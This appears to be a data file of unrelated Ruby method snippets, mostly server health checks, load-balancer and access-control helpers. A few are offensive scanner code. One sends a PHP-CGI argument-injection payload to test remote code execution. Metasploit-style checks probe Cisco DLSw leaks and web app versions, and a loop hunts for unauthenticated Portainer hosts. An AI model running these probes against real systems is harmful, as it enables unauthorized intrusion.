"def check\n puts\n puts \"Load Apache Balancer-Manager at '#{@balancer_manager_url}'\"\n puts\n puts \"Loading Details\"\n puts\n puts \" Balancer: #{get_balancer_manager.balancer_name}\"\n puts\n get_balancer_manager.hosts_with_status.each{|h,s| puts \" #{h} => #{s}\"}\n\n @live_hosts = get_balancer_manager.enabled_hosts\n puts\n puts \"Checking #{@live_hosts.size} live hosts\"\n puts\n\n @live_hosts.each do |host, state|\n status = check_host(host, @test_page)\n puts \" #{host} is #{status ? 'OK' : 'not responsive. Disabling via BalancerManager.'}\"\n disable_host(host) if !status\n end\n puts\n puts \"#{@live_hosts.size}/#{get_balancer_manager.hosts.size} hosts are enabled\"\n puts\n end",
"def test_connection\n if prepare_request({ relative_url: '/api/datasources' }).execute.is_a?(Net::HTTPOK)\n # we have admin rights\n @logger.warn('Reporter is running with Admin privileges on grafana. This is a potential security risk.')\n return 'Admin'\n end\n # check if we have lower rights\n return 'Failed' unless prepare_request({ relative_url: '/api/dashboards/home' }).execute.is_a?(Net::HTTPOK)\n\n @logger.info('Reporter is running with NON-Admin privileges on grafana.')\n 'NON-Admin'\n end",
"def http_check_disable_on_404\n if @name_index\n @conf.insert(@name_index + @conf.length, \" \" + \"http-check disable-on-404 \" + \"\\n\")\n else\n puts \"no #{@proxy_type} name assigned\"\n return false\n end\n end",
"def apache\n TemplateWriter.process(\n \"apache2_portus.conf.erb\",\n \"/etc/apache2/vhosts.d/portus.conf\",\n binding\n )\n\n if @options[\"secure\"]\n Runner.exec(\"a2enmod\", [\"ssl\"])\n Runner.exec(\"a2enflag\", [\"SSL\"])\n end\n Runner.exec(\"a2enmod\", [\"passenger\"])\n FileUtils.chown_R(\"wwwrun\", \"www\", \"/srv/Portus/log\")\n end",
"def check_server\n raise Exception.new(\"Could not reach Apocalypse server please check the address and port and try again.\") unless server_reachable?\n end",
"def enable\n run \"#{try_sudo} /sbin/chkconfig httpd on\"\n end",
"def server?\n response = Net::HTTP.get_response(URI.parse('http://localhost:9533/'))\n raise unless response.class == Net::HTTPOK\nrescue\n skip 'Local server not detected'\nend",
"def properly_configured?\n options = {\n open_timeout: 5,\n use_ssl: true, # all connections are forced SSL now\n verify_mode: OpenSSL::SSL::VERIFY_NONE # because we might not have a valid cert yet\n }\n Net::HTTP.start(website_alias, options) do |http|\n response = http.get(\"/tenant_aliases/#{id}/verify\")\n\n return false unless response.is_a?(Net::HTTPSuccess)\n\n response.body == \"TRUE\"\n end\n rescue SocketError, Net::OpenTimeout, Errno::ECONNREFUSED\n # SocketError if the server name doesn't exist in DNS\n # OpenTimeout if no server responds\n # ECONNREFUSED if the server responds with \"No\"\n false\n end",
"def require_admin\n if Rails.env.production? && is_market? && Rails.configuration.admin_hostname != request.host\n render plain: \"ADMIN_HOSTNAME setting does not match your host header.\"\n else\n unless is_admin?\n flash[:alert] = \"Access not authorized. Need to be logged in first.\"\n redirect_to admin_new_session_path\n end\n end\n end",
"def is_alive?\n res = @http_client.get_response( URI.parse(\"#{@url}/admin/ping?wt=ruby\") )\n \n if res.code != \"200\"\n raise IndexUnavailableError, \"Index HTTP error #{res.code}\"\n else\n data = eval(res.body)\n if data[\"status\"] === \"OK\"\n return true\n else\n raise IndexUnavailableError, \"Index Error: #{res.body}\"\n end\n end\n end",
"def check_passenger_monitoring\n passenger_plugins = [\n {\"plugin_name\"=>\"passenger\", \"plugin_type\"=>\"passenger_instances\",\"field\"=>\"value\"},\n {\"plugin_name\"=>\"passenger\", \"plugin_type\"=>\"passenger_processes\",\"field\"=>\"max\"},\n {\"plugin_name\"=>\"passenger\", \"plugin_type\"=>\"passenger_queued\",\"field\"=>\"value\"},\n {\"plugin_name\"=>\"passenger\", \"plugin_type\"=>\"passenger_requests\",\"field\"=>\"value\"}\n ]\n sleep 60 # wait for some data to be available\n @servers.each do |server|\n unless server.multicloud\n#passenger commands to generate data for collectd to return\n# for ii in 1...100\n# # how do we force there to be data?? For now just check that the graph exists - cause the\n# # bug was missing graphs.\n# end\n passenger_plugins.each do |plugin|\n monitor = obj_behavior(server, :get_sketchy_data, {'start' => -60,\n 'end' => -20,\n 'plugin_name' => plugin['plugin_name'],\n 'plugin_type' => plugin['plugin_type']})\n value = monitor['data'][\"#{plugin['field']}\"]\n puts \"Checking #{plugin['plugin_name']}-#{plugin['plugin_type']}: value #{value}\"\n raise \"No #{plugin['plugin_name']}-#{plugin['plugin_type']} data\" unless value.length > 0\n# # Need to check for that there is at least one non 0 value returned.\n# for nn in 0...value.length\n# if value[nn] > 0\n# break\n# end\n# end\n# raise \"No #{plugin['plugin_name']}-#{plugin['plugin_type']} time\" unless nn < value.length\n puts \"Monitoring is OK for #{plugin['plugin_name']}-#{plugin['plugin_type']}\"\n end\n end\n end\n end",
"def server_is_available?\n return true\n !@http_client.send_request(:get, \"#{@configuration.protocol}://#{@configuration.host}:#{@configuration.port}\", nil, {:timeout => 5}).nil?\n end",
"def check_maintenance_page\n if ENV.key? 'VEC_MAINTENANCE_UNDERWAY'\n redirect_to \"/maintenance.html\"\n end\n end",
"def warning_webmin\n unless @info[:processes].to_a.grep(/cpanel/i).empty?\n @warnings << \"Server likely to be running cPanel\"\n end\n end",
"def check_access_settings\n redirect = request.referrer.nil? ? site_path : request.referrer\n downloads_enabled = AdminConfiguration.firecloud_access_enabled?\n if !downloads_enabled\n redirect_to merge_default_redirect_params(redirect, scpbr: params[:scpbr]), alert: \"Study access has been temporarily disabled by the site adminsitrator. Please contact #{view_context.mail_to('single_cell_portal@broadinstitute.org')} if you require assistance.\" and return\n end\n end",
"def check_access_settings\n redirect = request.referrer.nil? ? site_path : request.referrer\n downloads_enabled = AdminConfiguration.firecloud_access_enabled?\n if !downloads_enabled\n redirect_to redirect, alert: \"Study access has been temporarily disabled by the site adminsitrator. Please contact #{view_context.mail_to('single_cell_portal@broadinstitute.org')} if you require assistance.\" and return\n end\n end",
"def start_app_dashboard(login_ip, uaserver_ip)\n @state = \"Starting up Load Balancer\"\n Djinn.log_info(\"Starting up Load Balancer\")\n\n my_public = my_node.public_ip\n my_private = my_node.private_ip\n AppDashboard.start(login_ip, uaserver_ip, my_public, my_private, @@secret)\n HAProxy.create_app_load_balancer_config(my_public, my_private, \n AppDashboard::PROXY_PORT)\n Nginx.create_app_load_balancer_config(my_public, my_private, \n AppDashboard::PROXY_PORT)\n HAProxy.start\n Nginx.reload\n @app_info_map[AppDashboard::APP_NAME] = {\n 'nginx' => 1080,\n 'nginx_https' => 1443,\n 'haproxy' => AppDashboard::PROXY_PORT,\n 'appengine' => [\"#{my_private}:8000\", \"#{my_private}:8001\",\n \"#{my_private}:8002\"],\n 'language' => 'python27'\n }\n end",
"def accessible?\n # convenience method to check if wordpress is accessible\n # if we don't have this, the connection will take a long time to timeout\n timeout = 5 #seconds\n RestClient::Request.execute(:method => :head, :url => cms_host, :timeout => timeout)\n return true\n rescue RestClient::Exceptions::OpenTimeout => e\n Rails.logger.debug \"Could not connect to wordpress within #{timeout} seconds - Are you connected to the VPN?\"\n return false\n end",
"def is_offline(fqdn)\n cmd = \"/usr/sbin/cibadmin --query --xpath \\\"//node_state[@uname='#{fqdn}']\\\" | grep -q 'crmd=\\\"online\\\"'\"\n exec(cmd,random(5,10)) > 0\n end",
"def verifyStart\n `/usr/local/nagios/bin/nagios -v /usr/local/nagios/etc/nagios.cfg`\n `service nagios restart`\n `service httpd restart`\n end",
"def load_balancer_status\n puts\n @haproxy.identity_filter(@load_balancer)\n rpcresult = @haproxy.backend_status(:backend => 'puppetcamp')\n puts \"Enabled Nodes :\".green\n rpcresult.each do |enabled| \n enabled[:data][:enabled].each do |host|\n puts \" #{host}\".green\n end\n end\n puts\n puts \"Disabled Nodes :\".red\n rpcresult.each do |disabled|\n disabled[:data][:disabled].each do |host|\n puts \" #{host}\".red\n end\n end\n puts\nend",
"def check_access_settings\n redirect = request.referrer.nil? ? site_path : request.referrer\n access = AdminConfiguration.firecloud_access_enabled?\n if !access\n redirect_to merge_default_redirect_params(redirect, scpbr: params[:scpbr]), alert: \"Study access has been temporarily disabled by the site adminsitrator. Please contact #{view_context.mail_to('scp-support@broadinstitute.zendesk.com')} if you require assistance.\" and return\n end\n end",
"def check_connection\n one_wait = 5\n max_wait = 5\n request = Net::HTTP::Get.new('/')\n wait = 0;\n while (wait < max_wait)\n begin\n response = Net::HTTP.start(@url.host, @url.port) {|http|\n http.request(request)\n }\n break if Net::HTTPForbidden === response\n break if Net::HTTPNotFound === response\n break if Net::HTTPSuccess === response\n # When we try to connect to a down server with an Apache proxy, \n # we'll get Net::HTTPBadGateway and get here\n rescue Errno::ECONNREFUSED\n # When we try to connect to a down server without an Apache proxy, \n # such as a dev instance, we'll get here\n end\n sleep one_wait;\n wait += one_wait\n end\n if (wait == max_wait)\n puts(\"-- ERROR: couldn't connect to test host on \" + @url.host.to_s)\n return false\n end\n puts(\"-- SUCCESS: test host is alive !\\n\")\n return true\nend",
"def agent_exist?(agent, index, host, user, password, port)\n # Set commands per agent type\n case agent\n when 'flush'\n instance_type = 'publish'\n ip_regex = /Replication test to http:\\/\\/([a-zA-Z0-9\\.\\-]+)\\/dispatcher\\/invalidate.cache/\n when :publish\n instance_type = 'author'\n ip_regex = /Replication test to http:\\/\\/([a-zA-Z0-9\\.\\-]+):4503\\/bin\\/receive\\?sling:authRequestLogin=1/\n end\n # Compose command\n # TODO: rewrite using command_finder\n command = \"curl -u #{user}:#{password} -X GET http://localhost:#{port}/etc/replication/agents.#{instance_type}/#{agent.to_s}#{index}.test.html\"\n Chef::Log.warn \"Running command '#{command}'\"\n # Run command\n runner = Mixlib::ShellOut.new(command)\n runner.run_command\n\n # If no errors and stdout recieved\n if runner.error? || runner.stdout.empty? || runner.stdout.nil?\n Chef::Log.error(\" Command '#{command}'; runner.error?: '#{runner.error?}'; runner.stdout: '#{runner.stdout}'\")\n false\n else\n # Extract ip check agent status from stdout\n ip_match = runner.stdout.match(ip_regex)\n ip = ip_match ? ip_match[1] : nil\n # status = runner.stdout[/Replication test <strong>succeeded<\\/strong>/]\n\n Chef::Log.warn \"Agent detected ip: '#{ip}'\"\n # If status success and ip detected\n compare_ips(ip, host[:ipaddress]) if ip\n end\nend",
"def modulect_is_online\n if app_settings.is_offline && controller_name != \"errors\" && (request.path =~ /.*\\/admin(\\/.*)?/) == nil && (request.path =~ /.*\\/login(\\/.*)?/) == nil\n if !logged_in? || (logged_in? && current_user.user_level == \"user_access\")\n redirect_to offline_path\n end\n end\n end",
"def health_check_path\n web_cart = get_framework_cartridge\n if web_cart.nil?\n page = 'health'\n elsif web_cart.categories.include? 'php'\n page = 'health_check.php'\n elsif web_cart.categories.include? 'zend'\n page = 'health_check.php'\n elsif web_cart.categories.include? 'perl'\n page = 'health_check.pl'\n else\n page = 'health'\n end\n end",
"def check_avahi\n\tif File.exists?(\"/etc/debian_version\")\n\t\tstdin,stdout,stderr = Open3.popen3(\"/usr/bin/lsb_release -d\")\n\t\tif stdout.read.chomp =~ /ubuntu/i\n\t\t\tstdin,stdout,stderr = Open3.popen3(\"/usr/bin/service avahi-daemon status\")\n\t\t\tif stdout.read.chomp =~ /stop/i\n\t\t\t\tprint_error(\"Avahi Service is not running will attempt to start it\")\n\t\t\t\tcheck_root\n\t\t\t\tstdin,stdout,stderr = Open3.popen3(\"/usr/bin/service avahi-daemon start\")\n\t\t\t\tif stdout.read.chomp =~ /running/i\n\t\t\t\t\tprint_good(\"Avahi service successfuly startered\")\n\t\t\t\t\t# give it time to properly start\n\t\t\t\t\tsleep 2.0\n\t\t\t\telse\n\t\t\t\t\tprint_error(\"Could not start Avahi service\")\n\t\t\t\t\texit\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\tstdin,stdout,stderr = Open3.popen3(\"/etc/init.d/avahi-daemon status\")\n\t\t\tif stdout.read.chomp =~ /not/i\n\t\t\t\tprint_error(\"Avahi Service is not running will attempt to start it\")\n\t\t\t\tcheck_root\n\t\t\t\tOpen3.popen3(\"/usr/bin/service avahi-daemon start\")\n\t\t\t\tsleep 2.0\n\t\t\t\tstdin,stdout,stderr = Open3.popen3(\"/etc/init.d/avahi-daemon status\")\n\t\t\t\tif stdout.read.chomp =~ /running/i\n\t\t\t\t\tprint_good(\"Avahi service successfuly startered\")\n\t\t\t\telse\n\t\t\t\t\tprint_error(\"Could not start Avahi service\")\n\t\t\t\t\texit\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend",
"def server_reachable?\n puts \"Checking #{@address}:#{@port}\"\n res = Net::HTTP.start(@address, @port) {|http| http.get('/') }\n return res.code == \"200\"\n end",
"def check_public_section\n #redirect_to dashboard_path if (Rails.env == 'production' && action_name == 'index')\n end",
"def apache_script_alias_rce_check(site)\n if $config['HTTP']['TOR_PROXY']\n print_error(\"Sorry - NO TOR Support for this module at this time!\")\n return nil\n end\n paths = [ '', '/backdoor', '/phppath', '/php_amon', '/local-bin', '/php', '/php3', '/php4', '/php5', '/bin', '/_php' ]\n paths.each do |p|\n rnd = randz(8)\n chksum = Digest::MD5.hexdigest(rnd)\n test_payload = \"<?php print(___); echo md5('#{rnd}'); print(___); ?>\"\n uri = URI.parse(site.sub(/\\/$/, '') + p + URI.encode('/php?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=\"\"+-d+open_basedir=none+-d+auto_prepend_file=php://input+-n'))\n if $config['HTTP']['PROXY']\n http = Net::HTTP.new(uri.host, uri.port, $config['HTTP']['PROXY_IP'], $config['HTTP']['PROXY_PORT'].to_i)\n else\n http = Net::HTTP.new(uri.host, uri.port)\n end\n request = Net::HTTP::Post.new(uri.request_uri, { \"User-Agent\" => $config['HTTP']['HTTP_USER_AGENT'] })\n request.body = test_payload\n if $config['HTTP']['REF']\n request['Referer'] = $config['HTTP']['REFERER']\n end\n if $config['HTTP']['HTTP_HEADERS_ADD']\n $config['HTTP']['HTTP_HEADERS'].each do |k, v|\n request[\"#{k}\"] = \"#{v}\"\n end\n end\n if $config['HTTP']['COOKIESUPPORT']\n cookies = File.open($config['HTTP']['COOKIEFILE']).read\n request[\"Cookie\"] = cookies.to_s\n end\n if $config['HTTP']['HTTP_AUTH']\n request.basic_auth $config['HTTP']['HTTP_AUTH_USER'], $config['HTTP']['HTTP_AUTH_PASS']\n end\n response = http.request(request)\n if response.body.gsub(/Notice: Use of undefined constant ___ - assumed '___' in - on line \\d+/i, '') =~ /___#{chksum}/\n print_good(\"PHP CGI Code Injection is Possible!\")\n print_status(\"Confirmation: __#{chksum}__\")\n print_status(\"POST: #{uri}\")\n print_status(\"DATA: #{test_payload}\")\n return p\n else\n print_error(\"#{p}...\")\n end\n end\n return nil\nend",
"def doi_server_reachable?\n # Invoke the API and get response\n true\n end",
"def ip_check\n logger.warn request.remote_addr.inspect\n if Rails.env == \"production\" && !request.remote_ip.include?(\"99.166.163.112\")\n render :text => \"GETTHEFUCKOUT\"\n end\n end",
"def internet_http?\n host_http = 'http://www.google.com/index.html'\n check = Net::Ping::HTTP.new(host_http) #now http not as console\n check.ping?\n end",
"def internet_http?\n host_http = 'http://www.google.com/index.html'\n check = Net::Ping::HTTP.new(host_http) #now http not as console\n check.ping?\n end",
"def bounce_httpd \n result = `ssh -t #{USERNAME}@#{PRODUCTION_SERVER} 'sudo service httpd restart'`\n if $?.success?\n puts 'Bounced webserver on prod.'\n else\n puts 'FAILED bouncing webserver on prod'\n puts result\n exit(6)\n end\nend",
"def is_machine_running?\n if !pi_machine?\n raise I18n.t('not_web_enabled')\n end\n \n url = URI.parse(root_url)\n \n req = Net::HTTP::Get.new(url.to_s)\n res = Net::HTTP.start(url.host, url.port) {|http|\n http.request(req)\n }\n \n if res.is_a?(Net::HTTPSuccess)\n res.body\n else\n nil\n end \n \n rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError,\n Net::HTTPBadResponse, Net::HTTPHeaderSyntaxError, Net::ProtocolError => e\n puts e.message\n puts e.backtrace.inspect\n end",
"def domain_2_site (domain,port=80)\n puts \"Perform simple http(s) service detection on domain #{domain}, port #{port}\" if @verbose\n begin\n domain=domain.strip\n if port.to_i == 80\n url_1 = \"http://www.\" + domain + \"/\"\n elsif port.to_i ==443\n url_1 = \"https://www\" + domain + \"/\"\n else\n url_1 = \"http://www\" + domain + \":\" + port.to_s + \"/\"\n url_2 = \"https://www\" + domain + \":\" + port.to_s + \"/\"\n end\n puts \"Please ensure your internet connection is active before running this method: #{__method__}\" if @verbose\n checker=Wmap::UrlChecker.new\n if checker.response_code(url_1) != 10000\n puts \"Found URL: #{url_1}\" if @verbose\n return url_1\n elsif checker.response_code(url_2) != 10000\n puts \"Found URL: #{url_2}\" if @verbose\n return url_2\n else\n puts \"No http(s) service found on: #{domain}:#{port}\" if @verbose\n return nil\n end\n rescue => ee\n puts \"Exception on method #{__method__}: #{ee}\" if @verbose\n return nil\n end\n end",
"def unavailable_servers_check\n # Return unless there are servers that are unavailable.\n return unless @unavailable_servers&.positive?\n\n LOGGER.warn(\"#{@unavailable_servers} servers haven't been cached yet.\")\n LOGGER.warn('Servers may be unavailable due to an outage, or your bot is on very large servers that are taking a while to load.')\n end",
"def do_alive_check(id, auth, info_url)\n response = HTTParty.get(info_url, timeout: TIMEOUT, basic_auth: auth)\n send_service_response(id, response)\nrescue HTTParty::ResponseError, Errno::ECONNREFUSED => e\n send_text_status(id, 'Dead', moreinfo: e.message, danger: true)\n [false, e]\nrescue StandardError => e\n send_text_status(id, 'Indeterminate', moreinfo: e.message, fatal: true)\n [false, e]\nend",
"def web_server\n if %{apache apache2}.include? node[:webapp][:web_server]\n \"apache2\"\n else\n \"nginx\"\n end\nend",
"def mysqlHealth(envid)\n now = Time.now\n env = $envManager.getEnv(envid)\n vmList = env.getVMList()\n vmList.each { |vm|\n cmd = \"ssh carina@#{vm.ipaddress} mysqladmin ping\"\n lineread = false\n IO.popen(cmd) { |f|\n if f.eof\n if !lineread\n $Logger.debug \"MySqlHealthPlugin: mysqld is not alive - no output from mysqladmin ping\"\n vm.status = \"SICK\"\n return 0\n end\n break\n end\n v = f.readline\n puts \"MySqlHealthPlugin: Processing line: #{v}\"\n lineread=true\n if !v.include? 'is alive'\n $Logger.debug \"MySqlHealthPlugin: mysqld is not alive\"\n vm.status = \"SICK\"\n return 0\n end\n }\n }\n $Logger.debug \"MySqlHealthPlugin: mysqld is alive\"\n return 1\n end",
"def check\n # we want to handle cases where the port/target isn't open/listening gracefully\n begin\n # only catch the response if we're going to use it, in this case we do for the version\n # detection.\n res = send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, 'index.php'),\n 'method' => 'GET'\n )\n # gracefully handle if res comes back as nil, since we're not guaranteed a response\n # also handle if we get an unexpected HTTP response code\n fail_with(Failure::UnexpectedReply, \"#{peer} - Could not connect to web service - no response\") if res.nil?\n fail_with(Failure::UnexpectedReply, \"#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}\") if res.code == 200\n\n # here we're looking through html for the version string, similar to:\n # Version 1.2\n /Version: (?<version>[\\d]{1,2}\\.[\\d]{1,2})<\\/td>/ =~ res.body\n\n if version && Gem::Version.new(version) <= Gem::Version.new('1.3')\n vprint_good(\"Version Detected: #{version}\")\n Exploit::CheckCode::Appears\n end\n rescue ::Rex::ConnectionError\n fail_with(Failure::Unreachable, \"#{peer} - Could not connect to the web service\")\n end\n Exploit::CheckCode::Safe\n end",
"def check_reachability(action)\n msg = @registry.reachable?\n return if msg.blank?\n\n logger.info \"\\nRegistry not reachable:\\n#{@registry.inspect}\\n#{msg}\\n\"\n flash[:alert] = \"#{msg} You can skip this check by clicking on the\n \\\"Skip remote checks\\\" checkbox.\"\n render action, status: :unprocessable_entity\n @unreachable = true\n end",
"def check_availability_by_http_request(host, port)\n uri = URI(\"http://#{host}:#{port}/info\")\n request = Net::HTTP::Get.new(uri)\n request[Datadog::Transport::Ext::HTTP::HEADER_DD_INTERNAL_UNTRACED_REQUEST] = '1'\n response = Net::HTTP.start(uri.hostname, uri.port) do |http|\n http.request(request)\n end\n response.is_a?(Net::HTTPSuccess)\n rescue SocketError\n false\n end",
"def can_view_public_health_dashboard?\n has_role?(:public_health) || has_role?(:public_health_enroller)\n end",
"def wp_xmlrpc_check(site=@site, verbose=true)\n xmlrpc_file = site.sub(/\\/$/, '') + '/xmlrpc.php'\n res = @http.get(xmlrpc_file)\n if res[1] == 200 or res[1] == 403\n print_good(\"XML-RPC: #{xmlrpc_file}\") if verbose\n return true\n else\n print_error(\"No XML-RPC Found!\")\n end\n return false\n end",
"def disable\n run \"#{try_sudo} /sbin/chkconfig httpd off\"\n end",
"def check_host(ip)\n print_status(\"Checking #{peer} for DLSw exposure\")\n response = get_response\n\n if !response.blank? && (response =~ /IOS Software|cisco.com/)\n print_good(\"#{peer}: The target Cisco router appears vulnerable: parts of a Cisco IOS banner detected\")\n report_vuln(\n host: rhost,\n port: rport,\n name: name,\n refs: references,\n info: \"Module #{fullname} collected #{response.length} bytes\"\n )\n Exploit::CheckCode::Vulnerable\n else\n if response.blank?\n vprint_status(\"#{peer}: no response\")\n else\n vprint_status(\"#{peer}: #{response.size}-byte response didn't contain any leaked data\")\n end\n Exploit::CheckCode::Safe\n end\n end",
"def warning_plesk\n unless @info[:processes].to_a.grep(/psa/i).empty?\n @warnings << \"Server likely to be running Plesk\"\n end\n end",
"def inventario_vulnerables()\n inventario_portainer() # Invoke a General Inventory.\n $portainer_hosts.each do | ip | \n uri = URI.parse(\"http://#{ip}:#{$port}/api/status\") \n response = Net::HTTP.get_response(uri) \n json_response = JSON.parse(response.body) \n auth = json_response[\"Authentication\"] # If no Auth is needed to access.\n if auth.to_s.chomp() == \"false\" \n $hosts_vulnerables += 1 \n $vulnerable_hosts.push(ip) \n end\n end\nend",
"def if_app(app, req)\n app == :dashboard ? (req + '.http.host ~ \"(dashboard|studio)\"') : nil\nend",
"def no_sites?\n self.proxy_performances.active.empty?\n end",
"def wait_for_host_in_dashboard(host)\n hostname = host.node_name\n retry_command(\"Wait for #{hostname} to be in the console\", dashboard, \"! curl --sslv3 -k -I https://#{dashboard}/nodes/#{hostname} | grep '404 Not Found'\")\n end",
"def check_connection\n one_wait = 5\n max_wait = 15\n request = Net::HTTP::Get.new('/selenium-server/')\n wait = 0;\n while (wait < max_wait)\n begin\n response = Net::HTTP.start(@host, @port) {|http|\n http.request(request)\n }\n break if Net::HTTPForbidden === response\n break if Net::HTTPNotFound === response\n break if Net::HTTPSuccess === response\n # When we try to connect to a down server with an Apache proxy,\n # we'll get Net::HTTPBadGateway and get here\n rescue Errno::ECONNREFUSED\n # When we try to connect to a down server without an Apache proxy,\n # such as a dev instance, we'll get here\n end\n sleep one_wait;\n wait += one_wait\n end\n if (wait == max_wait)\n p(\"-- ERROR: couldn't connect to Selenium RC on \" + @host)\n return false\n end\n return true\n end",
"def has_required_host?\n true\n end",
"def check_puppet_status(group)\n @service.class_filter group\n begin\n @service.status(:service => 'puppet').each do |rpcresult|\n # Check if puppet is disabled\n hostname = rpcresult.results[:sender]\n if rpcresult.results[:data][:status] != \"stopped\"\n raise PuppetEnabledException, hostname\n end\n end\n ensure\n # Make sure we reset the filter after a run\n @service.reset_filter\n end\nend",
"def require_http_auth\n if `hostname` =~ /soykaf|lanpartei/i \n if auth = APP_CONFIG['http_auth']\n authenticate_or_request_with_http_basic do |user_name, password|\n user_name == auth['name'] && password == auth['password']\n end \n end\n end\n end",
"def host\n conf['dashboard']['host']\n end",
"def ping\n stats\n true\n rescue Errno::ECONNREFUSED\n false\n end",
"def check_connection\n return\n check = HTTParty.get(\"#{@host}/api/process/check_connection?api_key=#{@api_key}\")\n if check.nil? || check[\"status\"][\"code\"] < 0\n @helper.terminate(\"Script was unable to establish connection with dFlow at #{@host}\")\n end\n end",
"def wait_for_host_in_dashboard(host)\n hostname = host.node_name\n hostcert = dashboard.puppet['hostcert']\n key = dashboard.puppet['hostprivkey']\n cacert = dashboard.puppet['localcacert']\n retry_on(dashboard, \"curl --cert #{hostcert} --key #{key} --cacert #{cacert}\\\n https://#{dashboard}:4433/classifier-api/v1/nodes | grep '\\\"name\\\":\\\"#{hostname}\\\"'\")\n end",
"def server_health\n opts = { cache: false }\n response = request :get, SERVER_HEALTH_PATH, opts: opts\n response.success?\n end",
"def healthcheck\n url = \"#{self.url}/healthcheck\"\n status, _ = rest_get( url )\n return( status )\n end",
"def healthcheck\n url = \"#{self.url}/healthcheck\"\n status, _ = rest_get( url )\n return( status )\n end",
"def host_agent_ready?\n # Localhost\n uri = URI.parse(\"http://#{LOCALHOST}:#{@port}/\")\n req = Net::HTTP::Get.new(uri)\n\n response = make_host_agent_request(req)\n\n if response && (response.code.to_i == 200)\n @host = LOCALHOST\n return true\n end\n\n return false unless @is_linux\n\n # We are potentially running on Docker in bridged networking mode.\n # Attempt to contact default gateway\n uri = URI.parse(\"http://#{@default_gateway}:#{@port}/\")\n req = Net::HTTP::Get.new(uri)\n\n response = make_host_agent_request(req)\n\n if response && (response.code.to_i == 200)\n @host = @default_gateway\n return true\n end\n false\n rescue => e\n Instana.logger.error \"#{__method__}:#{File.basename(__FILE__)}:#{__LINE__}: #{e.message}\"\n Instana.logger.debug e.backtrace.join(\"\\r\\n\")\n return false\n end",
"def on_upgrade request, response\n\t\t\t\thost = get_host(request[:host_name].to_s.downcase) || @hosts[:default]\n\t\t\t\treturn false unless host\n\t\t\t\trequest[:host_settings] = host.params\n\t\t\t\t# return if a route answered the request\n\t\t\t\thost.routes.each {|r| a = r.on_request(request, response); return a if a}\n\t\t\t\t# websockets should cut out here\n\t\t\t\tfalse\n\t\t\tend",
"def enable\n run \"#{try_sudo} /sbin/chkconfig puppet on\"\n end",
"def on_page_portal?\n return (controller.controller_name == \"home\" and controller.action_name == \"portal\") \n end",
"def enable!\n available_site = join_and_expand_path(ServerTools::Configuration.get(\"apache\",\"available_sites\"), @name)\n enabled_site = join_and_expand_path(ServerTools::Configuration.get(\"apache\",\"enabled_sites\"), @name)\n\n if File.symlink?(enabled_site)\n ServerTools::Logger.error(\"#{@name} is already enabled\")\n exit\n end\n if !File.exists?(available_site)\n ServerTools::Logger.error(\"#{@name} does not exist!\")\n exit\n end\n\n FileUtils.symlink(available_site, enabled_site)\n ServerTools::Logger.message(\"#{@name} enabled\")\n end",
"def child_init( req ) # :nodoc\n self.log.notice \"Dispatcher configured for %s\" % [ req.server.hostname ]\n return Apache::OK\n end",
"def pingable?\n true\n end",
"def getDashboard(oStatsProxy, iMechanizeAgent)\n # Get the dashboard page\n lJSonData = eval(iMechanizeAgent.get_file('http://www.myspace.com/stats/fans_json/profile_stats/en-US/x=0').gsub(':','=>'))\n lNbrVisits = Integer(lJSonData['data'].select { |iItem| next (iItem[0] == 'myspace_views') }.first[-1].gsub(',',''))\n lNbrFriends = Integer(lJSonData['data'].select { |iItem| next (iItem[0] == 'myspace_friends') }.first[-1].gsub(',',''))\n oStatsProxy.add_stat('Global', 'Visits', lNbrVisits)\n oStatsProxy.add_stat('Global', 'Friends', lNbrFriends)\n\n # OLD VERSION (keeping it as Myspace changes all the time\n# lDashboardPage = iMechanizeAgent.get('http://www.myspace.com/music/dashboard')\n# # Get the variables used by the Ajax script\n# lMatch = lDashboardPage.root.css('section.moduleBody script').first.content.split(\"\\n\").join.match(/var appID = \"([^\"]*)\".*var pkey = \"([^\"]*)\";/)\n# lAppID, lPKey = lMatch[1..2]\n# lCoreUserID = nil\n# lDashboardPage.root.css('body script').each do |iScriptNode|\n# lMatch = iScriptNode.content.split(\"\\n\").join.match(/var coreUserId =(\\d*)/)\n# if (lMatch != nil)\n# # Found it\n# lCoreUserID = lMatch[1]\n# break\n# end\n# end\n# if (lCoreUserID == nil)\n# log_err \"Unable to find the core user ID: #{lDashboardPage.root}\"\n# else\n# # Call the Ajax script\n# lStatsAjaxContent = iMechanizeAgent.get_file(\"http://www.myspace.com/Modules/Music/Handlers/Dashboard.ashx?sourceApplication=#{lAppID}&pkey=#{lPKey}&action=GETCORESTATS&userID=#{lCoreUserID}\")\n# lStrVisits, lStrFriends = lStatsAjaxContent.match(/^\\{'totalprofileviews':'([^']*)','totalfriends':'([^']*)'/)[1..2]\n# lNbrVisits = Integer(lStrVisits.delete(','))\n# lNbrFriends = Integer(lStrFriends.delete(','))\n# oStatsProxy.add_stat('Global', 'Visits', lNbrVisits)\n# oStatsProxy.add_stat('Global', 'Friends', lNbrFriends)\n# end\n end",
"def checkIsAdmin?\n # Get the current user.\n user = User.get(:current)\n \n # An admin user is defined by their username being 'admin'.\n return user['login'] == 'admin'\n rescue ActiveResource::UnauthorizedAccess => e\n @error = e.message\n return false\n rescue ActiveResource::ConnectionError => e\n @error = e.message\n return false\n rescue Errno::ECONNREFUSED => e\n @error = \"Unable to connect to #{@site}\"\n return false\n end",
"def check_connection\n return\n check = HTTParty.get(\"#{@host}/api/check_connection?api_key=#{@api_key}\")\n if check.nil? || check[\"status\"][\"code\"] < 0\n @helper.terminate(\"Script was unable to establish connection with dFile at #{@host}\")\n end\n end",
"def check_host\n # rubocop:disable Style/GuardClause\n if config[:host] == '0.0.0.0'\n logger.warn 'Will listen on all interfaces (0.0.0.0).' \\\n ' Consider using 127.0.0.1 (--host option).'\n end\n # rubocop:enable Style/GuardClause\n end",
"def check_host\n # rubocop:disable Style/GuardClause\n if config[:host] == '0.0.0.0'\n logger.warn 'Will listen on all interfaces (0.0.0.0).' \\\n ' Consider using 127.0.0.1 (--host option).'\n end\n # rubocop:enable Style/GuardClause\n end",
